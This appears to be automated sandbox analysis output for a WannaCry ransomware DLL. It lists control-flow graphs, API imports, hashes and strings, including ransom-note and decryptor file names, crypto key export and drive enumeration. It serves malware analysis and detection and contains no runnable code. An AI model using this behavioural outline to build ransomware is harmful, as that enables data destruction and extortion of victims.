                                                                                                                                                                                control_flow_graph 58 10002300-100023ad ??2@YAPAXI@Z call 10003730 swprintf FindFirstFileW 61 10002413-10002422 call 10002f70 58->61 62 100023af-1000240e call 100036a0 ??3@YAXPAX@Z call 100037c0 ??3@YAXPAX@Z 58->62 67 10002426-1000242e 61->67 72 100027c9-100027e1 62->72 69 10002430-10002432 67->69 70 10002438-10002449 wcscmp 67->70 69->70 73 10002642-10002658 FindClose 69->73 74 1000262a-1000263c FindNextFileW 70->74 75 1000244f-10002460 wcscmp 70->75 77 10002688-10002692 73->77 78 1000265a-10002669 call 10002940 73->78 74->67 74->73 75->74 76 10002466-1000248f swprintf 75->76 81 10002521-10002525 76->81 82 10002495-100024ab call 100032c0 76->82 79 10002694-100026b2 _wcsnicmp 77->79 80 100026df-100026e2 77->80 92 1000266b-10002677 call 10003760 78->92 93 1000267c-10002684 78->93 84 100026b4-100026b9 79->84 85 100026bb 79->85 87 100026e4-100026e8 80->87 88 1000270d-1000271a 80->88 81->74 89 1000252b-1000253c wcscmp 81->89 82->74 108 100024b1-1000251c ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z wcslen ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z call 100035c0 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z 82->108 94 100026c0-100026c8 84->94 85->94 87->88 98 100026ea-100026ff call 10003200 87->98 95 10002746-10002754 88->95 96 1000271c-10002720 88->96 89->74 91 10002542-10002553 wcscmp 89->91 91->74 102 10002559-1000256a wcscmp 91->102 92->93 93->78 104 10002686 93->104 105 100026ca-100026ce 94->105 106 100026dd 94->106 99 10002771-1000278c ??3@YAXPAX@Z 95->99 100 10002756-1000276b call 10003620 95->100 96->95 107 10002722 96->107 119 10002701-10002706 call 10003280 98->119 120 10002708 call 10003240 98->120 112 100027b7-100027c4 ??3@YAXPAX@Z 99->112 113 1000278e-100027b5 ??3@YAXPAX@Z 99->113 125 1000276d 100->125 102->74 111 10002570-100025a0 call 10002d60 102->111 104->77 114 100026d0 105->114 115 100026d1-100026db 105->115 106->80 116 10002723-10002728 107->116 108->74 111->74 131 100025a6-100025a9 111->131 112->72 113->112 113->113 114->115 115->105 115->106 122 1000272a 116->122 123 1000272f-10002744 call 10002300 116->123 119->88 120->88 122->123 123->95 123->116 125->99 131->74 133 100025ab-100025ad 131->133 134 100025bf-10002625 wcsncpy * 2 call 10003760 133->134 135 100025af-100025b3 133->135 134->74 135->134 136 100025b5-100025bd 135->136 136->74 136->134
                                                                                                                                                                                APIs
                                                                                                                                                                                • ??2@YAPAXI@Z.MSVCRT ref: 10002332
                                                                                                                                                                                  • Part of subcall function 10003730: ??2@YAPAXI@Z.MSVCRT ref: 10003732
                                                                                                                                                                                • swprintf.MSVCRT ref: 10002388
                                                                                                                                                                                • FindFirstFileW.KERNEL32(?,?,?,00000000,00000000,?), ref: 1000239E
                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT ref: 100023D2
                                                                                                                                                                                  • Part of subcall function 100037C0: ??3@YAXPAX@Z.MSVCRT ref: 100037E5
                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT ref: 10002404
                                                                                                                                                                                • wcscmp.MSVCRT ref: 10002442
                                                                                                                                                                                • wcscmp.MSVCRT ref: 10002459
                                                                                                                                                                                • swprintf.MSVCRT(?,%s\%s,?,?), ref: 10002480
                                                                                                                                                                                • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000000,?,?), ref: 100024BE
                                                                                                                                                                                • wcslen.MSVCRT ref: 100024CC
                                                                                                                                                                                • ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z.MSVCP60(?,00000000), ref: 100024E2
                                                                                                                                                                                • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 10002516
                                                                                                                                                                                • FindNextFileW.KERNEL32(?,?), ref: 10002634
                                                                                                                                                                                • FindClose.KERNEL32(?), ref: 10002643
                                                                                                                                                                                  • Part of subcall function 100036A0: ??3@YAXPAX@Z.MSVCRT ref: 100036F6
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ??3@$FindG@2@@std@@G@std@@U?$char_traits@V?$allocator@$??2@FileTidy@?$basic_string@swprintfwcscmp$?assign@?$basic_string@CloseFirstNextV12@wcslen
                                                                                                                                                                                • String ID: %s\%s$%s\*$@Please_Read_Me@.txt$@WanaDecryptor@.bmp$@WanaDecryptor@.exe.lnk
                                                                                                                                                                                • API String ID: 3909534679-268640142
                                                                                                                                                                                • Opcode ID: b001cdf566f6455ea49d5ab65011a6e2eb15b64c0c68d230245bb63ccab5fae5
                                                                                                                                                                                • Instruction ID: de254d0e5b2da72f41e6c310beb378338d29d9cbc8abb0440bfd0675c5201551
                                                                                                                                                                                • Opcode Fuzzy Hash: b001cdf566f6455ea49d5ab65011a6e2eb15b64c0c68d230245bb63ccab5fae5
                                                                                                                                                                                • Instruction Fuzzy Hash: 38D1B1755083819FE720DB64C880AABB7E8FFC9384F10491DF99983255EB75E909CB93
                                                                                                                                                                                Function 10004A40 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 200COMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                APIs
                                                                                                                                                                                • SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?,75D9A390,762EDC30,75732EE0,?), ref: 10004A97
                                                                                                                                                                                • wcslen.MSVCRT ref: 10004A9E
                                                                                                                                                                                • wcsrchr.MSVCRT ref: 10004AC0
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: FolderPathwcslenwcsrchr
                                                                                                                                                                                • String ID: %s\%s\%s$%s\*.*
                                                                                                                                                                                • API String ID: 546322749-1899009126
                                                                                                                                                                                • Opcode ID: 8a6f2f974920d52717d03da3a36b72289499b9d186961dda4ecc416d09510b88
                                                                                                                                                                                • Instruction ID: f3627253bfd0e675d6c72d42cf14d2781f3e5a035430ee9dadabd35bed43a83c
                                                                                                                                                                                • Opcode Fuzzy Hash: 8a6f2f974920d52717d03da3a36b72289499b9d186961dda4ecc416d09510b88
                                                                                                                                                                                • Instruction Fuzzy Hash: 4761D8B2504345ABF320DB64DC88FEB73E8FFC4395F01492DEA8982144EB75A509C7A6
                                                                                                                                                                                Function 10003410 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 72libraryloaderCOMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                • Executed
                                                                                                                                                                                • Not Executed
                                                                                                                                                                                control_flow_graph 385 10003410-10003418 call 10004440 388 100034ed-100034f0 385->388 389 1000341e-10003425 385->389 390 10003427-1000342d 389->390 391 1000342e-1000343d LoadLibraryA 389->391 391->388 392 10003443-100034ae GetProcAddress * 7 391->392 392->388 393 100034b0-100034b8 392->393 393->388 394 100034ba-100034c2 393->394 394->388 395 100034c4-100034cc 394->395 395->388 396 100034ce-100034d6 395->396 396->388 397 100034d8-100034e0 396->397 397->388 398 100034e2-100034e4 397->398 398->388 399 100034e6-100034ec 398->399
                                                                                                                                                                                APIs
                                                                                                                                                                                • LoadLibraryA.KERNEL32(kernel32.dll,75D9A710,10005BA1), ref: 10003433
                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 10003450
                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,WriteFile), ref: 1000345D
                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,ReadFile), ref: 1000346A
                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,MoveFileW), ref: 10003477
                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,MoveFileExW), ref: 10003484
                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 10003491
                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 1000349E
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: AddressProc$LibraryLoad
                                                                                                                                                                                • String ID: CloseHandle$CreateFileW$DeleteFileW$MoveFileExW$MoveFileW$ReadFile$WriteFile$kernel32.dll
                                                                                                                                                                                • API String ID: 2238633743-1294736154
                                                                                                                                                                                • Opcode ID: 944c07b6a276cea25272870ffcbc7163b6e1cefb521ad04e65f91ac777977517
                                                                                                                                                                                • Instruction ID: cf0c78403fd2c3fefe85ed3b1817818ef30dc00b537cc7000bee59f2d7a133bb
                                                                                                                                                                                • Opcode Fuzzy Hash: 944c07b6a276cea25272870ffcbc7163b6e1cefb521ad04e65f91ac777977517
                                                                                                                                                                                • Instruction Fuzzy Hash: C7111234A132256AFB56FB25AC94EBF27D9FF857C0302402BE501D725CDB65A841CA60
                                                                                                                                                                                Function 10004F20 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 90fileCOMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                APIs
                                                                                                                                                                                • swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.bmp), ref: 10004F7C
                                                                                                                                                                                • MultiByteToWideChar.KERNEL32(00000000,00000000,b.wnry,000000FF,?,00000103), ref: 10004F99
                                                                                                                                                                                • CopyFileW.KERNEL32(?,?,00000000), ref: 10004FB4
                                                                                                                                                                                • GetUserNameW.ADVAPI32 ref: 10004FF0
                                                                                                                                                                                • _wcsicmp.MSVCRT ref: 10005006
                                                                                                                                                                                • SystemParametersInfoW.USER32(00000014,00000000,?,00000001), ref: 1000501E
                                                                                                                                                                                • swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.exe), ref: 10005034
                                                                                                                                                                                • CopyFileW.KERNEL32(@WanaDecryptor@.exe,?,00000000), ref: 10005045
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CopyFileswprintf$ByteCharInfoMultiNameParametersSystemUserWide_wcsicmp
                                                                                                                                                                                • String ID: %s\%s$@WanaDecryptor@.bmp$@WanaDecryptor@.exe$b.wnry
                                                                                                                                                                                • API String ID: 2700836184-163098832
                                                                                                                                                                                • Opcode ID: bf392daa0d3de960360cd3c4300729d8e512d5ebde27cbd7410bd1becd215d1f
                                                                                                                                                                                • Instruction ID: e55c92b8c82600a83f2bc68813337d3839c0dc3b58a337792abbc0111089e87c
                                                                                                                                                                                • Opcode Fuzzy Hash: bf392daa0d3de960360cd3c4300729d8e512d5ebde27cbd7410bd1becd215d1f
                                                                                                                                                                                • Instruction Fuzzy Hash: 1F319F7154430AAAF720DB64CC84FEBB3A9FBD8780F004928F74897194E675A54987B7
                                                                                                                                                                                Function 10005540 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 101sleepCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • InterlockedExchangeAdd.KERNEL32(1000D4E4,00000000), ref: 1000557E
                                                                                                                                                                                • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 100055AE
                                                                                                                                                                                • Sleep.KERNEL32(000003E8), ref: 100055CB
                                                                                                                                                                                • GetDriveTypeW.KERNEL32(?), ref: 100055E9
                                                                                                                                                                                • GetDriveTypeW.KERNEL32(00000000,00000000,00000019,75733300,00000000), ref: 100055FD
                                                                                                                                                                                • InterlockedExchange.KERNEL32(1000D4E4,?), ref: 1000560A
                                                                                                                                                                                • GetDriveTypeW.KERNEL32(?), ref: 10005615
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: DriveType$ExchangeInterlocked$DiskFreeSleepSpace
                                                                                                                                                                                • String ID: :\
                                                                                                                                                                                • API String ID: 3294574733-2155371604
                                                                                                                                                                                • Opcode ID: 61cea2a78f95dfb05a4314cfbf4166deab6280a281f2e8abaf9f34550cafe113
                                                                                                                                                                                • Instruction ID: f64d85ad46bc30538c74047da36dc2f651c409be43941944ac19416e7c7c5497
                                                                                                                                                                                • Opcode Fuzzy Hash: 61cea2a78f95dfb05a4314cfbf4166deab6280a281f2e8abaf9f34550cafe113
                                                                                                                                                                                • Instruction Fuzzy Hash: 88318432504316ABE740DF54DC84E9FB3E9FB84681F400E19F545D7158E776EA09C7A2
                                                                                                                                                                                Function 10006940 Relevance: 12.2, APIs: 8, Instructions: 209COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • ??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8CC), ref: 10006959
                                                                                                                                                                                • _CxxThrowException.MSVCRT(?,1000AF00), ref: 10006969
                                                                                                                                                                                • ??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8CC), ref: 10006A54
                                                                                                                                                                                • _CxxThrowException.MSVCRT(?,1000AF00), ref: 10006A64
                                                                                                                                                                                • ??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8CC), ref: 10006B1F
                                                                                                                                                                                • _CxxThrowException.MSVCRT(?,1000AF00), ref: 10006B2F
                                                                                                                                                                                • ??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8D0), ref: 10006B85
                                                                                                                                                                                • _CxxThrowException.MSVCRT(?,1000AF00), ref: 10006B95
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ??0exception@@ExceptionThrow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 941485209-0
                                                                                                                                                                                • Opcode ID: 2f6f863f4f1b27604bc7f9c16208b3bc369cdb7356135f5c50d3af07c9db71d3
                                                                                                                                                                                • Instruction ID: 059c23d85c393ba9fd365f6bea795e9a80031673541d73dce98a36ed974061eb
                                                                                                                                                                                • Opcode Fuzzy Hash: 2f6f863f4f1b27604bc7f9c16208b3bc369cdb7356135f5c50d3af07c9db71d3
                                                                                                                                                                                • Instruction Fuzzy Hash: FD6182357042528BE704DF299C909ABB7E7FBCD284F15867DEC89A7209CB31AA05CB51
                                                                                                                                                                                Function 10004040 Relevance: 10.6, APIs: 7, Instructions: 110filememoryencryptionCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • CryptExportKey.ADVAPI32(?,00000000,?,00000000,00000000,00000008), ref: 10004087
                                                                                                                                                                                • GlobalAlloc.KERNEL32(00000000,00000008), ref: 1000409E
                                                                                                                                                                                • _local_unwind2.MSVCRT ref: 100040D0
                                                                                                                                                                                • CreateFileA.KERNEL32(10003B63,40000000,00000000,00000000,00000002,00000080,00000000), ref: 10004101
                                                                                                                                                                                • WriteFile.KERNEL32(00000000,00000000,00000008,?,00000000), ref: 10004122
                                                                                                                                                                                • _local_unwind2.MSVCRT ref: 10004132
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: File_local_unwind2$AllocCreateCryptExportGlobalWrite
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3505601379-0
                                                                                                                                                                                • Opcode ID: e4b24a4896234405ddc3ddca99fc1a5403f2d49dbf9026041e1240e4559407fe
                                                                                                                                                                                • Instruction ID: f2e4c173d5c66980f3caf99a3bd82662d3c6a30a16efd476d92b7f0e9405a5ca
                                                                                                                                                                                • Opcode Fuzzy Hash: e4b24a4896234405ddc3ddca99fc1a5403f2d49dbf9026041e1240e4559407fe
                                                                                                                                                                                • Instruction Fuzzy Hash: 4E3150B1D10225ABE720CB948C45FEFB7BCFB49BA0F200759FA25B21C4E775690487A4
                                                                                                                                                                                Function 10005DC0 Relevance: 9.4, APIs: 6, Instructions: 375COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • ??0exception@@QAE@ABQBD@Z.MSVCRT ref: 10005DDF
                                                                                                                                                                                • _CxxThrowException.MSVCRT(?,1000AF00), ref: 10005DEF
                                                                                                                                                                                • ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 10005E18
                                                                                                                                                                                • _CxxThrowException.MSVCRT(?,1000AF00), ref: 10005E28
                                                                                                                                                                                • ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 10005E51
                                                                                                                                                                                • _CxxThrowException.MSVCRT(?,1000AF00), ref: 10005E61
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ??0exception@@ExceptionThrow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 941485209-0
                                                                                                                                                                                • Opcode ID: 88114097bd0232d87ad232c99e4ff1f677db4ca52730fc6aa934377dfeb33ee7
                                                                                                                                                                                • Instruction ID: 5cf11e140e7aea64f1cdd1e13d3de007c6777824907ae8690337d7dedc6976b5
                                                                                                                                                                                • Opcode Fuzzy Hash: 88114097bd0232d87ad232c99e4ff1f677db4ca52730fc6aa934377dfeb33ee7
                                                                                                                                                                                • Instruction Fuzzy Hash: 82E1B5716042458BE708CF29C89069AB7E2FFCD384F59857DE889DB35ADB30EA41CB51
                                                                                                                                                                                Function 10004170 Relevance: 6.2, APIs: 4, Instructions: 168encryptionCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • CryptExportKey.ADVAPI32(?,00000000,?,00000000,?,?,00000008,?,?,?,10003C7F,?,?,?,00000007,00000000), ref: 100041AD
                                                                                                                                                                                • CryptGetKeyParam.ADVAPI32(?,00000008,?,?,00000000,?,?,10003C7F,?,?,?,00000007,00000000), ref: 100041DF
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Crypt$ExportParam
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2541419234-0
                                                                                                                                                                                • Opcode ID: 83fd7636ed65e7b4624369af09241801eb1dccb5b71602364eee19c08e2797c0
                                                                                                                                                                                • Instruction ID: 80228a1e7adbe0cc537bf2fc0d3ef992fb5bf6351f3b42e9d805a86e7a99636c
                                                                                                                                                                                • Opcode Fuzzy Hash: 83fd7636ed65e7b4624369af09241801eb1dccb5b71602364eee19c08e2797c0
                                                                                                                                                                                • Instruction Fuzzy Hash: DB51E6716083428FE314CF14D888B9BB7E9FBD8394F51082EF585C7250E774AA49CB62
                                                                                                                                                                                Function 10001360 Relevance: 4.5, APIs: 3, Instructions: 45memoryCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • AllocateAndInitializeSid.ADVAPI32(?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,75D9F130), ref: 1000139C
                                                                                                                                                                                • CheckTokenMembership.ADVAPI32(00000000,?,75D9F130,?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000), ref: 100013B6
                                                                                                                                                                                • FreeSid.ADVAPI32(?,?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 100013C9
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: AllocateCheckFreeInitializeMembershipToken
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3429775523-0
                                                                                                                                                                                • Opcode ID: e2dc8b4d3794bc66afb40d1778fc3f1714f7f223d93bfd3796b057e1ee31e261
                                                                                                                                                                                • Instruction ID: d0e0d5e2c48fa59e13d9dd79d39f3d735634ff5945503f036d462e8db185075f
                                                                                                                                                                                • Opcode Fuzzy Hash: e2dc8b4d3794bc66afb40d1778fc3f1714f7f223d93bfd3796b057e1ee31e261
                                                                                                                                                                                • Instruction Fuzzy Hash: 95014F7154C381FFE340DB2888C4AABBBE8EB94684FC49C4DF48943156D234D908D727
                                                                                                                                                                                Function 10004790 Relevance: 4.5, APIs: 3, Instructions: 27sleepthreadCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • time.MSVCRT ref: 100047AA
                                                                                                                                                                                  • Part of subcall function 10004730: CreateFileA.KERNEL32(1000DCF0,40000000,00000001,00000000,00000004,00000080,00000000,00000000,?,10005A09), ref: 10004749
                                                                                                                                                                                • Sleep.KERNEL32(000003E8), ref: 100047C9
                                                                                                                                                                                • ExitThread.KERNEL32 ref: 100047DC
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CreateExitFileSleepThreadtime
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2783800087-0
                                                                                                                                                                                • Opcode ID: 78c4880712248404ecc2fa0409a3760e6f5b1b32e76aedbac21b59ea9dd33f48
                                                                                                                                                                                • Instruction ID: 044671865621f727fe7313d62920a2e240410ece8b56ecd1862d79b3c5d98fe8
                                                                                                                                                                                • Opcode Fuzzy Hash: 78c4880712248404ecc2fa0409a3760e6f5b1b32e76aedbac21b59ea9dd33f48
                                                                                                                                                                                • Instruction Fuzzy Hash: 98E065B1A043619BF240EB659CC1F1A73E4FB066C1F030116E90DC725CDB25EC118B75
                                                                                                                                                                                Function 10006280 Relevance: 3.3, APIs: 2, Instructions: 308COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • ??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8CC), ref: 1000629A
                                                                                                                                                                                • _CxxThrowException.MSVCRT(?,1000AF00), ref: 100062AA
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ??0exception@@ExceptionThrow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 941485209-0
